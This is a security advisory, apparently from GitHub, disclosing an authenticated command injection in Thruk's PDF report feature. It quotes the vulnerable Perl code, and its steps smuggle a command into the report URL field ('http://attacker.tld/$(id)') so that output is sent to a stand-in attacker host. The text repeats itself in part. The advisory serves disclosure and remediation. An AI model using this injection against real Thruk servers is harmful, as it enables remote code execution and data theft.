Summary
Authenticated RCE in Thruk allows authorized users with network access to inject arbitrary commands via the URL parameter during PDF report generation.
Details
The Thruk web application does not properly process the url parameter when generating a PDF report. An authorized attacker with access to the reporting functionality could inject arbitrary commands that would be executed when the script /script/html2pdf.sh is called.
The vulnerability can be exploited by an authorized user with network access.
PoC
Steps to reproduce
Log in to the Thruk app
Open "Reports" > "Reporting" > "Create New Report"
Customize settings
Report Type - Report From Url
Direct PDF - Yes
Report from Url - http://attacker.tld/$(id)
Click "Regenerate Report" button
As a result, during the report generation process, the result of executing the id command will be sent to the attacker's website.
![Screenshot at 19-16-16](https://private-user-images.githubusercontent.com/162605403/348230586-06445004-c097-4551-9797-c7e87db03aae.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3Mzk0MjA3NDIsIm5iZiI6MTczOTQyMDQ0MiwicGF0aCI6Ii8xNjI2MDU0MDMvMzQ4MjMwNTg2LTA2NDQ1MDA0LWMwOTctNDU1MS05Nzk3LWM3ZTg3ZGIwM2FhZS5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwMjEzJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDIxM1QwNDIwNDJaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT02YWNhMzEzYjVlYzFmZDA4MDY1NGEwNTJkMjVhOGYwZDFlNmE1NzViYzliMDA2YWY1YzhjMmYzNWU4MmJjMjYwJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.rdeDhnpRlaID32-yVeg_1PHytdA1UJ0jJgPHxzHfzTA)
Vulnerable code fragment
https://github.com/sni/Thruk/blob/4d01d50c8a25dddeeb60039271e11b5aa9b8dac3/plugins/plugins-available/reports2/lib/Thruk/Utils/Reports/Render.pm#L385-L396
my $url = $c->stash->{'param'}->{'url'};
[...]
if($url =~ m/^https?:\/\/([^\/]+)/mx && $c->stash->{'param'}->{'pdf'} && $c->stash->{'param'}->{'pdf'} eq 'yes') {
[...]
my $cmd = $c->config->{home}.'/script/html2pdf.sh "'.$url.'" "'.$c->stash->{'attachment'}.'.pdf"';
[...]
Thruk::Utils::IO::cmd($cmd);
Remediation
In this specific case, it would suffice to escape a string so that it can be used as a shell argument. When using the escape function, it is important to take precautions to avoid the possibility of shell commands being injected.
Acknowledgements
The vulnerability was discovered by Sergey Bobrov (Kaspersky, https://kaspersky.com/)
https://github.com/BlackFan
Impact
Remote Code Execution
Summary
Authenticated RCE in Thruk allows authorized users with network access to inject arbitrary commands via the URL parameter during PDF report generation.
Details
The Thruk web application does not properly process the url parameter when generating a PDF report. An authorized attacker with access to the reporting functionality could inject arbitrary commands that would be executed when the script /script/html2pdf.sh is called.
The vulnerability can be exploited by an authorized user with network access.
PoC
Steps to reproduce
As a result, during the report generation process, the result of executing the id command will be sent to the attacker's website.
![Screenshot at 19-16-16](https://private-user-images.githubusercontent.com/162605403/348230586-06445004-c097-4551-9797-c7e87db03aae.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3Mzk0MjA3NDIsIm5iZiI6MTczOTQyMDQ0MiwicGF0aCI6Ii8xNjI2MDU0MDMvMzQ4MjMwNTg2LTA2NDQ1MDA0LWMwOTctNDU1MS05Nzk3LWM3ZTg3ZGIwM2FhZS5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwMjEzJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDIxM1QwNDIwNDJaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT02YWNhMzEzYjVlYzFmZDA4MDY1NGEwNTJkMjVhOGYwZDFlNmE1NzViYzliMDA2YWY1YzhjMmYzNWU4MmJjMjYwJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.rdeDhnpRlaID32-yVeg_1PHytdA1UJ0jJgPHxzHfzTA)
Vulnerable code fragment
https://github.com/sni/Thruk/blob/4d01d50c8a25dddeeb60039271e11b5aa9b8dac3/plugins/plugins-available/reports2/lib/Thruk/Utils/Reports/Render.pm#L385-L396
Remediation
In this specific case, it would suffice to escape a string so that it can be used as a shell argument. When using the escape function, it is important to take precautions to avoid the possibility of shell commands being injected.
Acknowledgements
The vulnerability was discovered by Sergey Bobrov (Kaspersky, https://kaspersky.com/)
https://github.com/BlackFan
Impact
Remote Code Execution